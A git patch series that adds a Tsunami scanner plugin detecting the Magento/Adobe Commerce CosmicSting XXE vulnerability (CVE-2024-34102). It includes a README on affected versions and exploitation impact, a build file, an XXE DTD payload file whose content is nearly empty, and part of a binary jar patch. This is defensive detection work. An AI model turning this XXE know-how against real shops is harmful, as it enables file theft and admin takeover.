From 55bf9b835214370347974d414677d3fdfda1ec6f Mon Sep 17 00:00:00 2001 From: lokiuox Date: Wed, 28 Aug 2024 16:45:39 +0200 Subject: [PATCH 01/11] Add DTD payload for Magento CosmicSting XXE --- payloads/magento-cosmicsting-xxe/dtd.xml | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 payloads/magento-cosmicsting-xxe/dtd.xml diff --git a/payloads/magento-cosmicsting-xxe/dtd.xml b/payloads/magento-cosmicsting-xxe/dtd.xml new file mode 100644 index 000000000..210dc22bc --- /dev/null +++ b/payloads/magento-cosmicsting-xxe/dtd.xml @@ -0,0 +1,2 @@ + +"> \ No newline at end of file From 2c510ccc35cdf0536449b1706300c689fc9eb1b6 Mon Sep 17 00:00:00 2001 From: lokiuox Date: Wed, 28 Aug 2024 22:58:36 +0200 Subject: [PATCH 02/11] Magento CosmicSting XXE implementation --- .../magento_cosmicsting_xxe/README.md | 29 ++ .../magento_cosmicsting_xxe/build.gradle | 68 +++ .../gradle/wrapper/gradle-wrapper.jar | Bin 0 -> 43462 bytes .../gradle/wrapper/gradle-wrapper.properties | 7 + .../detectors/magento_cosmicsting_xxe/gradlew | 249 +++++++++++ .../magento_cosmicsting_xxe/gradlew.bat | 92 ++++ .../magento_cosmicsting_xxe/settings.gradle | 1 + .../cves/cve202434102/Annotations.java | 35 ++ .../cve202434102/MagentoCosmicStingXxe.java | 395 ++++++++++++++++++ .../MagentoCosmicStingXxeBootstrapModule.java | 43 ++ .../MagentoCosmicStingXxeConfigs.java | 23 + .../MagentoCosmicStingXxeTest.java | 269 ++++++++++++ 12 files changed, 1211 insertions(+) create mode 100644 doyensec/detectors/magento_cosmicsting_xxe/README.md create mode 100644 doyensec/detectors/magento_cosmicsting_xxe/build.gradle create mode 100644 doyensec/detectors/magento_cosmicsting_xxe/gradle/wrapper/gradle-wrapper.jar create mode 100644 doyensec/detectors/magento_cosmicsting_xxe/gradle/wrapper/gradle-wrapper.properties create mode 100755 doyensec/detectors/magento_cosmicsting_xxe/gradlew create mode 100644 doyensec/detectors/magento_cosmicsting_xxe/gradlew.bat create mode 100644 doyensec/detectors/magento_cosmicsting_xxe/settings.gradle create mode 100644 doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/Annotations.java create mode 100644 doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxe.java create mode 100644 doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeBootstrapModule.java create mode 100644 doyensec/detectors/magento_cosmicsting_xxe/src/main/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeConfigs.java create mode 100644 doyensec/detectors/magento_cosmicsting_xxe/src/test/java/com/google/tsunami/plugins/detectors/cves/cve202434102/MagentoCosmicStingXxeTest.java diff --git a/doyensec/detectors/magento_cosmicsting_xxe/README.md b/doyensec/detectors/magento_cosmicsting_xxe/README.md new file mode 100644 index 000000000..49ed00106 --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/README.md @@ -0,0 +1,29 @@ +# Magento / Adobe Commerce CosmicSting XXE (CVE-2024-34102) + +## Description +Adobe Commerce and Magento v2.4.7 and earlier are vulnerable to a critical unauthenticated XXE (XML External Entity) vulnerability that could allow arbitrary code execution. The vulnerability can be exploited by sending an unauthenticated HTTP request with a crafted XML file that references external entities; when the request payload is deserialized, the attacker can extract sensitive files from the system and gain administrative access to the software. Remote Code Execution (RCE) could be accomplished by combining the issue with another vulnerability, such as the [PHP iconv RCE](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1). + +## Affected Versions +- 2.4.7 and earlier +- 2.4.6-p5 and earlier +- 2.4.5-p7 and earlier +- 2.4.4-p8 and earlier +- 2.4.3-ext-7 and earlier* +- 2.4.2-ext-7 and earlier* + +*These versions are only applicable to customers participating in the Extended Support Program + +## References +- [CosmicSting: critical unauthenticated XXE vulnerability in Adobe Commerce and Magento (CVE-2024-34102)](https://www.vicarius.io/vsociety/posts/cosmicsting-critical-unauthenticated-xxe-vulnerability-in-adobe-commerce-and-magento-cve-2024-34102) +- [NIST: CVE-2024-34102](https://nvd.nist.gov/vuln/detail/CVE-2024-34102) +- [Adobe Security Bulletin APSB24-40](https://helpx.adobe.com/security/products/magento/apsb24-40.html) + +## Build jar file for this plugin + +Using `gradlew`: + +```shell +./gradlew jar +``` + +The Tsunami identifiable jar file is located at `build/libs` directory. \ No newline at end of file diff --git a/doyensec/detectors/magento_cosmicsting_xxe/build.gradle b/doyensec/detectors/magento_cosmicsting_xxe/build.gradle new file mode 100644 index 000000000..c75cfcbc1 --- /dev/null +++ b/doyensec/detectors/magento_cosmicsting_xxe/build.gradle @@ -0,0 +1,68 @@ +plugins { + id 'java-library' +} + +description = 'Magento / Adobe Commerce CosmicSting XXE (CVE-2024-34102)' +group = 'com.google.tsunami' +version = '0.0.1-SNAPSHOT' + +repositories { + maven { // The google mirror is less flaky than mavenCentral() + url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' + } + mavenCentral() + mavenLocal() +} + +java { + sourceCompatibility = JavaVersion.VERSION_11 + targetCompatibility = JavaVersion.VERSION_11 + + jar.manifest { + attributes('Implementation-Title': name, + 'Implementation-Version': version, + 'Built-By': System.getProperty('user.name'), + 'Built-JDK': System.getProperty('java.version'), + 'Source-Compatibility': sourceCompatibility, + 'Target-Compatibility': targetCompatibility) + } + + javadoc.options { + encoding = 'UTF-8' + use = true + links 'https://docs.oracle.com/javase/8/docs/api/' + } + + // Log stacktrace to console when test fails. + test { + testLogging { + exceptionFormat = 'full' + showExceptions true + showCauses true + showStackTraces true + } + maxHeapSize = '1500m' + } +} + +ext { + tsunamiVersion = 'latest.release' + junitVersion = '4.13.1' + mockitoVersion = '2.28.2' + truthVersion = '1.0.1' + guiceVersion = '4.2.3' +} + +dependencies { + implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" + implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" + + testImplementation "junit:junit:${junitVersion}" + testImplementation "org.mockito:mockito-core:${mockitoVersion}" + testImplementation "com.google.inject:guice:${guiceVersion}" + testImplementation "com.google.truth:truth:${truthVersion}" + testImplementation "com.google.inject.extensions:guice-testlib:${guiceVersion}" + testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}" + testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}" +} diff --git a/doyensec/detectors/magento_cosmicsting_xxe/gradle/wrapper/gradle-wrapper.jar b/doyensec/detectors/magento_cosmicsting_xxe/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000000000000000000000000000000000000..d64cd4917707c1f8861d8cb53dd15194d4248596 GIT binary patch literal 43462 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 